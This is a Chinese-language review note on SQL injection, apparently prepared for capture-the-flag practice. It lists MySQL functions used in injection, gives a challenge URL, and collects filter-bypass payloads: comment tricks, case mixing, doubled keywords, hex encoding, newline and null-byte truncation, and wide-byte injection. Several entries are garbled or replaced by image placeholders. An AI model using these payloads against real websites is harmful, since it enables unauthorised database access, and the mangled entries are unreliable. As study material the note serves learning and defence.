SQL注入知识复习

基础函数:

  1. user():当前使用者的用户名
  2. database():当前数据库名
  3. version():数据库版本
  4. datadir:读取数据库的绝对路径
  5. @@vasedirmysql安装路径
  6. @@version_compile_os:操作系统
  7. concat():连接一个或者多个字符串
  8. group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据length():返回字符串的长度
  9. substr():截取字符串
  10. mid():截取字符串
  11. ascii():返回字符的ascii
  12. sleep():函数延迟代码执行若干秒
  13. ~是一个一元运算符,将x按位取补
  14. !取反
  15. hex()
  16. unhex()
  17. CONV(N,from_base,to_base)
  18. SELECT CONV(5,16,2); //将数字5,从16进制转到2进制

image.pngimage.png

常用函数

  1. lengthstr):返回str字符串的长度。
  2. substrstrposlen):将strApos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
  3. midstr.poslen):跟上面的一样,截取字符串
  4. asciistr):返回字符串str的最左面字符的ASCII代码值。
  5. ordstr):同上,返回ascii
  6. ifa.bc):a为条件,atrue,返回b,否则返回c,如if1>210),返回0
  7. leftdatabase(),1)取database字符串的左边第一个

异或注入

题目地址:http://123.206.87.240:9004/1ndex.php?id=1^ 1
做题步骤
检测注入=>了解过滤=>获取数据
image.png

SQL注入绕过总结

注释符绕过:

  1. //,--,/*/,#,--+,---,;,%00,--a

大小写绕过

  1. SeLect UniOn

双关键字绕过

  1. SELSELECTECT username FRFROMOM users WHWHEREERE id = '1';

编码绕过

  1. 十六进制:SELECT(extractvalue(Ox3C613E61646D696E3C2F613E,0x2f61))

空格绕过
image.png
LIKE绕过

  1. select "i"LIKE"i";
  2. 绕过对"=",">"等的过滤

IN绕过

  1. AND '1' IN ('1',2')
  2. SELECT '1' IN('I'+'O');

,<绕过

  1. or 'password'>'pass'
  2. or 1<3

反引号绕过

  1. select `username`,`password` from `users`;

等价函数与命令绕过:
image.png
换行符绕过

  1. %0a,%0d

截断绕过

  1. %00,%0A,?,/0,/////////......//////////.%80-%99
  2. 目录字符串,在window256字节、linux4096字节时会达到最大值,最大值长度之后的字符将被丢弃。
  3. ./././././././././././abc
  4. //////////////////////abc
  5. ..1/abc/../1/abc/../1/abc

宽字节

  1. %df') or 1=1#